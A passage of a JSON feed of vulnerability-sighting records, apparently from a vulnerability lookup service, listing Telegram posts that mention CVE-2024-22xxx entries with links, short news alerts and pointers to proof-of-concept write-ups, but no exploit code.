"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22204", "type": "seen", "source": "https://t.me/ctinow/172247", "content": "https://ift.tt/eQKNwJW\nCVE-2024-22204", "creation_timestamp": "2024-01-23T19:26:46.000000Z"}, {"uuid": "8f3e7322-08b2-4f67-bc2b-f977fac0a976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22491", "type": "seen", "source": "https://t.me/ctinow/172139", "content": "https://ift.tt/sSJz0KI\nCVE-2024-22491 Exploit", "creation_timestamp": "2024-01-23T17:16:59.000000Z"}, {"uuid": "befb41e3-db75-4632-8335-bd818e352213", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22603", "type": "seen", "source": "https://t.me/ctinow/172137", "content": "https://ift.tt/6wUjbdv\nCVE-2024-22603 Exploit", "creation_timestamp": "2024-01-23T17:16:56.000000Z"}, {"uuid": "6459bb9e-6873-4fc4-9f64-79608ee1e793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22817", "type": "seen", "source": "https://t.me/ctinow/172136", "content": "https://ift.tt/k97Ee6J\nCVE-2024-22817 Exploit", "creation_timestamp": "2024-01-23T17:16:55.000000Z"}, {"uuid": "91f65771-4385-4596-848b-616fbed73d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22818", "type": "seen", "source": "https://t.me/ctinow/172135", "content": "https://ift.tt/zMEgd4N\nCVE-2024-22818 Exploit", "creation_timestamp": "2024-01-23T17:16:54.000000Z"}, {"uuid": "2bde2fc7-7e8d-42aa-8af4-6fa5dc4ee43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22819", "type": "seen", "source": "https://t.me/ctinow/172134", "content": "https://ift.tt/uxq0L5c\nCVE-2024-22819 Exploit", "creation_timestamp": "2024-01-23T17:16:53.000000Z"}, {"uuid": "52d20d10-3257-4b83-a92b-fbbb6f8cc1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22699", "type": "seen", "source": "https://t.me/ctinow/172133", "content": "https://ift.tt/PXdpLAu\nCVE-2024-22699 Exploit", "creation_timestamp": "2024-01-23T17:16:52.000000Z"}, {"uuid": "4557d99c-effa-435e-ac04-37b0360c0ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22048", "type": "seen", "source": "https://t.me/ctinow/172603", "content": "https://ift.tt/HkKX6wV\nCVE-2024-22048 | govuk_tech_docs up to 3.3.0 Search Result cross site scripting (GHSA-x2xw-hw8g-6773)", "creation_timestamp": "2024-01-24T09:41:22.000000Z"}, {"uuid": "0672e337-64f5-4ac6-886d-8ff4eeb3c9ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22366", "type": "seen", "source": "https://t.me/ctinow/172537", "content": "https://ift.tt/FX72Lqg\nCVE-2024-22366", "creation_timestamp": "2024-01-24T06:26:36.000000Z"}, {"uuid": "91233ecb-a05d-465b-b799-35e4f1e6d4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22380", "type": "seen", "source": "https://t.me/ctinow/172491", "content": "https://ift.tt/cxGhNFA\nCVE-2024-22380", "creation_timestamp": "2024-01-24T03:26:27.000000Z"}, {"uuid": "47912a6a-cedc-4441-84a6-6d272b1fba67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22663", "type": "seen", "source": "https://t.me/ctinow/172097", "content": "https://ift.tt/4dt8PyC\nCVE-2024-22663", "creation_timestamp": "2024-01-23T16:26:54.000000Z"}, {"uuid": "59464dca-6b83-474e-bff6-f938f516722b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22662", "type": "seen", "source": "https://t.me/ctinow/172096", "content": "https://ift.tt/emaPyqx\nCVE-2024-22662", "creation_timestamp": "2024-01-23T16:26:53.000000Z"}, {"uuid": "dbb3e481-2e5f-4435-a562-5ca1b0490b8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22206", "type": "seen", "source": "https://t.me/ctinow/167539", "content": "https://ift.tt/reKN9tV\nCVE-2024-22206", "creation_timestamp": "2024-01-12T21:32:11.000000Z"}, {"uuid": "026c2f8c-53d1-49e6-8e47-cf002ba6bc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22027", "type": "seen", "source": "https://t.me/ctinow/167122", "content": "https://ift.tt/xyoj7sc\nCVE-2024-22027", "creation_timestamp": "2024-01-12T08:26:52.000000Z"}, {"uuid": "5ef4d07c-0053-43e5-9d87-4eb09d0f834b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22494", "type": "seen", "source": "https://t.me/ctinow/167407", "content": "https://ift.tt/D6Klq80\nCVE-2024-22494", "creation_timestamp": "2024-01-12T17:31:58.000000Z"}, {"uuid": "458619bd-dbb1-4b77-99a7-f1f90cfede0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22493", "type": "seen", "source": "https://t.me/ctinow/167406", "content": "https://ift.tt/l2NCULX\nCVE-2024-22493", "creation_timestamp": "2024-01-12T17:31:57.000000Z"}, {"uuid": "8cb4fe21-cd61-47ed-b3c5-4678cbc75931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22492", "type": "seen", "source": "https://t.me/ctinow/167405", "content": "https://ift.tt/wedGD2Y\nCVE-2024-22492", "creation_timestamp": "2024-01-12T17:31:55.000000Z"}, {"uuid": "fda17283-14a1-4c9c-a218-4677512f4939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22049", "type": "seen", "source": "https://t.me/ctinow/166737", "content": "https://ift.tt/tBK8z6b\nCVE-2024-22049 Exploit", "creation_timestamp": "2024-01-11T19:31:31.000000Z"}, {"uuid": "543030a5-5649-4d10-8fcf-9f4f11daff84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22942", "type": "seen", "source": "https://t.me/ctinow/166688", "content": "https://ift.tt/Hq3rG5j\nCVE-2024-22942", "creation_timestamp": "2024-01-11T18:02:37.000000Z"}, {"uuid": "511c9242-1537-4a7b-9573-279fdc5e09bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22216", "type": "seen", "source": "https://t.me/ctinow/164228", "content": "https://ift.tt/VdiGqKL\nCVE-2024-22216", "creation_timestamp": "2024-01-08T08:21:27.000000Z"}, {"uuid": "2373f7a9-3fd8-4443-9697-de2f01ff1588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22086", "type": "seen", "source": "https://t.me/ctinow/163378", "content": "https://ift.tt/fI7JGBL\nCVE-2024-22086", "creation_timestamp": "2024-01-05T05:26:39.000000Z"}, {"uuid": "b946a585-a9c6-40a7-a2d0-986998e196c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22088", "type": "seen", "source": "https://t.me/ctinow/166199", "content": "https://ift.tt/etSp1mF\nCVE-2024-22088 Exploit", "creation_timestamp": "2024-01-10T23:16:43.000000Z"}, {"uuid": "cd54c8c6-ccd1-4000-849f-3560890dcd9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22165", "type": "seen", "source": "https://t.me/ctinow/165201", "content": "https://ift.tt/7JiYRvE\nCVE-2024-22165", "creation_timestamp": "2024-01-09T18:26:53.000000Z"}, {"uuid": "83aa5f22-408f-4539-ac0e-915d1982c930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22164", "type": "seen", "source": "https://t.me/ctinow/165200", "content": "https://ift.tt/1MJrTwx\nCVE-2024-22164", "creation_timestamp": "2024-01-09T18:26:52.000000Z"}, {"uuid": "904ce6e0-16e5-4a29-a31c-2fdf4b52f406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22125", "type": "seen", "source": "https://t.me/ctinow/164780", "content": "https://ift.tt/OVzfMpA\nCVE-2024-22125", "creation_timestamp": "2024-01-09T03:26:22.000000Z"}, {"uuid": "4ca46a5b-1a1d-4880-b009-a988a41787b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22124", "type": "seen", "source": "https://t.me/ctinow/164779", "content": "https://ift.tt/GHB9bwk\nCVE-2024-22124", "creation_timestamp": "2024-01-09T03:26:21.000000Z"}, {"uuid": "1db030fe-4f3b-4e1e-abc7-dc5ccf599853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22051", "type": "seen", "source": "https://t.me/ctinow/163266", "content": "https://ift.tt/UCvNMWy\nCVE-2024-22051", "creation_timestamp": "2024-01-04T22:31:45.000000Z"}, {"uuid": "8989ed67-fe8c-432d-a669-c98b8953003c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22049", "type": "seen", "source": "https://t.me/ctinow/163264", "content": "https://ift.tt/USCKeal\nCVE-2024-22049", "creation_timestamp": "2024-01-04T22:31:43.000000Z"}, {"uuid": "b256e550-b282-4334-85fc-626bbc44800b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22048", "type": "seen", "source": "https://t.me/ctinow/163263", "content": "https://ift.tt/0PUANvh\nCVE-2024-22048", "creation_timestamp": "2024-01-04T22:31:42.000000Z"}, {"uuid": "386018c9-d3fc-4ef7-829d-5d9eae800875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22047", "type": "seen", "source": "https://t.me/ctinow/163262", "content": "https://ift.tt/7ECA4Ij\nCVE-2024-22047", "creation_timestamp": "2024-01-04T22:31:41.000000Z"}, {"uuid": "900a13d5-12a0-4456-904d-fe2e418d721d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22088", "type": "seen", "source": "https://t.me/ctinow/163380", "content": "https://ift.tt/DLRwetq\nCVE-2024-22088", "creation_timestamp": "2024-01-05T05:26:41.000000Z"}, {"uuid": "b0cbeafe-f5d9-49f6-98b4-506101181231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22087", "type": "seen", "source": "https://t.me/ctinow/163379", "content": "https://ift.tt/NO0p3EK\nCVE-2024-22087", "creation_timestamp": "2024-01-05T05:26:40.000000Z"}, {"uuid": "5a3cbb69-b99b-4bfa-8a81-b00c1bdcb566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22050", "type": "seen", "source": "https://t.me/ctinow/163265", "content": "https://ift.tt/p98YKHJ\nCVE-2024-22050", "creation_timestamp": "2024-01-04T22:31:44.000000Z"}, {"uuid": "af5bec6e-49e0-4c21-a9ee-1c9320318892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22047", "type": "seen", "source": "https://t.me/ctinow/163354", "content": "https://ift.tt/QuG0bS3\nCVE-2024-22047", "creation_timestamp": "2024-01-05T03:21:36.000000Z"}, {"uuid": "d84ffca2-ba4b-492a-91b9-e3bf80a5ef27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22051", "type": "seen", "source": "https://t.me/ctinow/163340", "content": "https://ift.tt/yHMgUeY\nCVE-2024-22051", "creation_timestamp": "2024-01-05T02:16:34.000000Z"}, {"uuid": "76d80949-790b-4e13-8349-12b1b7f30380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22075", "type": "seen", "source": "https://t.me/ctinow/163371", "content": "https://ift.tt/XgRiwCq\nCVE-2024-22075", "creation_timestamp": "2024-01-05T04:26:41.000000Z"}, {"uuid": "8a0a486f-3bcf-4c20-ad4c-67c8ffb1e20c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22939", "type": "seen", "source": "Telegram/cT3ETXi8ueGY8kAtGyfu7wb0NUfCf_Oa836RYQyuDMgp6vQ", "content": "", "creation_timestamp": "2026-09-02T01:00:12.667143Z"}, {"uuid": "14f46489-8378-40fc-8764-e142e68fe0f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "seen", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-07-30T01:01:44.016447Z"}, {"uuid": "9dd90f41-e71e-4b9b-8d2d-44c4da2c0b0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "seen", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-07-30T01:01:43.897684Z"}, {"uuid": "c01eea04-8f42-4aec-acd0-be019f95fafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "Telegram/5HCtE0WkFYUA89VnXRtHIs4spfdfWNAEpm6yt5BW1f2H9os", "content": "", "creation_timestamp": "2026-09-02T01:00:18.987685Z"}, {"uuid": "e7088621-a3e0-4640-b4a0-fcdacdc806b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-08-03T02:07:16.365600Z"}, {"uuid": "9b045540-68cd-4279-abac-bcefbc42e981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4238", "content": "A christmas tale: pwning GTB Central Console (CVE-2024-22107 & CVE-2024-22108) https://adepts.of0x.cc/gtbcc-pwned/", "creation_timestamp": "2026-08-03T02:07:16.324350Z"}, {"uuid": "ee8fec19-905f-4a23-8184-413e5c050421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4683", "content": "CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing #SpringCloudDataflow #ArbitraryFileWriting #PatchDiffing #StaticAnalysis #LabSetup https://blog.securelayer7.net/spring-cloud-data-flow-exploit/", "creation_timestamp": "2026-08-03T02:13:57.578897Z"}, {"uuid": "4f018888-dcca-4dab-afb5-5931c18f9df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22861", "type": "seen", "source": "https://t.me/Kelvinseccommunity/34", "content": "\ud83d\udea8 CVE-2024-22861\nInteger overflow vulnerability in FFmpeg before n6.1, allows attackers to cause a denial of service (DoS) via the avcodec/osq module.\n\n\ud83c\udf96@cveNotify", "creation_timestamp": "2024-01-27T09:27:23.000000Z"}, {"uuid": "3fcbb90d-cc39-4567-a788-4bddf7b31698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/GDSpace/1202", "content": "\u041f\u0440\u043e\u0436\u0435\u043a\u0442\u043e\u0440 \u043f\u043e \u0418\u0411, \u0432\u044b\u043f\u0443\u0441\u043a \u211622 (10.02.2024): \u0412\u0438\u0436\u0443 MacBook \u2014 \u043c\u043d\u0435 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e\n\n\ud83d\udd38 \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041b\u0435\u043e\u043d\u043e\u0432, \"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0447\u0435\u0435\"\n\ud83d\udd38 \u041b\u0435\u0432 \u041f\u0430\u043b\u0435\u0439, \"\u0412\u0435\u0441\u0442\u0438 \u0438\u0437 \u041f\u0430\u043b\u0435\u0439\"\n\ud83d\udd38 \u041c\u0430\u043a\u0441\u0438\u043c \u0425\u0430\u0440\u0430\u0441\u043a, \"Global Digital Space\"\n\n00:00 \u0417\u0434\u043e\u0440\u043e\u0432\u0430\u0435\u043c\u0441\u044f, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443, \u0440\u0430\u0437\u0433\u043e\u043d\u044f\u0435\u043c \u043f\u0440\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Apple\n03:31 \u0413\u0434\u0435 \u0431\u044b\u043b \u041b\u0435\u0432: \u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u043a\u0430\u0440\u044c\u0435\u0440\u0443 \u0441  \u0415\u0432\u0433\u0435\u043d\u0438\u0435\u043c \u041f\u0438\u0442\u043e\u043b\u0438\u043d\u044b\u043c \u0438 \u0434\u0435\u0431\u0430\u0442\u044b \u043d\u0430 AM Live\n09:42 4 \u0430\u043f\u0440\u0435\u043b\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442\u0441\u044f \u0444\u043e\u0440\u0443\u043c \"\u0422\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u044f \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 - 2024: \u0432\u0441\u0435 pro \u0418\u0411\"\n13:42 \u041c\u0435\u043c \u043f\u0440\u043e \u0442\u044f\u0436\u0435\u043b\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u0434\u043b\u044f Fortinet\n14:21 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Fortinet FortiOS \u0438 FortiProxy (CVE-2024-21762) \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u0436\u0438\u0432\u0443\u044e\n19:16 Fortinet \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 FortiSIEM\n21:06 \u041e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f AuthBypass \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ivanti Connect Secure, Ivanti Policy Secure \u0438 ZTA (CVE-2024-22024)\n23:02 \u0417\u0430\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0437 PT SWARM\n28:51 \u0412\u0437\u043b\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 AnyDesk \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 \u041d\u041a\u0426\u041a\u0418\n33:51 \u041d\u0443\u0436\u0435\u043d \u043b\u0438 \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 (\u0438\u043b\u0438 \u0448\u0438\u0440\u0435 - Endpoint Protection) \u043d\u0430 Linux \u0445\u043e\u0441\u0442\u0430\u0445?\n41:33 \u0411\u044b\u0432\u0448\u0435\u0433\u043e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 Apple \u043f\u0440\u0438\u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u043a \u0442\u044e\u0440\u0435\u043c\u043d\u043e\u043c\u0443 \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0437\u0430 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\n44:47 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0432\u0438\u043d\u0438\u043b\u0438 \u0432 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e $3 \u043c\u043b\u043d \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u043e\u0442 Apple \u0432 \u0432\u0438\u0434\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438 \u0438 \u0443\u0441\u043b\u0443\u0433 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\n49:38 \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0418\u0433\u0440\u044b \u0411\u0443\u0434\u0443\u0449\u0435\u0433\u043e 2024?\n53:03 \u0411\u0430\u043d\u043a \u0420\u043e\u0441\u0441\u0438\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u043e\u0440\u0442\u0440\u0435\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432\n55:26 \ud83c\udfa4 Mr. X \u0438 \u041e\u043b\u0435\u0433 \u0422\u0438\u043d\u044c\u043a\u043e\u0432 \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0437\u0430 \u044d\u0442\u043e\u0442 \u044d\u043f\u0438\u0437\u043e\u0434 \u041f\u0440\u043e\u0436\u0435\u043a\u0442\u043e\u0440\u0430 \u043f\u043e \u0418\u0411\n\n@avleonovrus #\u041f\u0440\u043e\u0436\u0435\u043a\u0442\u043e\u0440\u041f\u043e\u0418\u0411 #Apple #tb2024 #Fortinet #FortiOS #FortiProxy #FortiSIEM #Ivanti #AnyDesk #\u041d\u041a\u0426\u041a\u0418  #Linux #Antivirus #\u0418\u0433\u0440\u044b\u0411\u0443\u0434\u0443\u0449\u0435\u0433\u043e #PositiveTechnologies #PTSWARM", "creation_timestamp": "2024-02-12T06:19:49.000000Z"}, {"uuid": "2eb70a54-70bf-4131-9fff-a8b18edd4445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/theninjaway1337/1655", "content": "CVE-2024-22274: Authenticated Remote Code Execution in VMware vCenter Server\n\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n#cve #poc", "creation_timestamp": "2024-07-07T14:02:23.000000Z"}, {"uuid": "ea4895c1-15e0-4542-97d4-60540b45abb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/thehackernews/4578", "content": "\ud83d\udea8 Attention VMware users! \n \nNew flaws identified (CVE-2024-22245 & CVE-2024-22250) in the EAP plugin. Attackers could exploit them to hijack Active Directory accounts and privileged EAP sessions. \n \nUNINSTALL it immediately. \n \nLearn more: https://thehackernews.com/2024/02/vmware-alert-uninstall-eap-now-critical.html", "creation_timestamp": "2024-02-21T06:38:32.000000Z"}, {"uuid": "e2668915-c356-437b-997c-3955c18d4220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/thehackernews/4578", "content": "\ud83d\udea8 Attention VMware users! \n \nNew flaws identified (CVE-2024-22245 & CVE-2024-22250) in the EAP plugin. Attackers could exploit them to hijack Active Directory accounts and privileged EAP sessions. \n \nUNINSTALL it immediately. \n \nLearn more: https://thehackernews.com/2024/02/vmware-alert-uninstall-eap-now-critical.html", "creation_timestamp": "2024-02-21T06:38:32.000000Z"}, {"uuid": "5e00d6ca-b9ba-4dc3-a185-907370b1f02d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/thehackernews/4525", "content": "\ud83d\udea8 Deja Vu for Ivanti users! \n \nAnother authentication bypass security vulnerability (CVE-2024-22024) has been found in #Ivanti products, affecting Connect Secure, Policy Secure, and ZTA gateways. \n \nDetails: https://thehackernews.com/2024/02/warning-new-ivanti-auth-bypass-flaw.html \n \nDon't wait, patch ASAP to secure your devices!", "creation_timestamp": "2024-02-09T06:47:24.000000Z"}, {"uuid": "0c216e05-08f8-4a91-8e32-4835f1db0131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22280", "type": "seen", "source": "https://t.me/thehackernews/5237", "content": "\u26a0\ufe0f GitLab has patched a critical vulnerability (CVE-2024-6385) with a CVSS score of 9.6, allowing attackers to run pipeline jobs as any user. \n \nAlso, 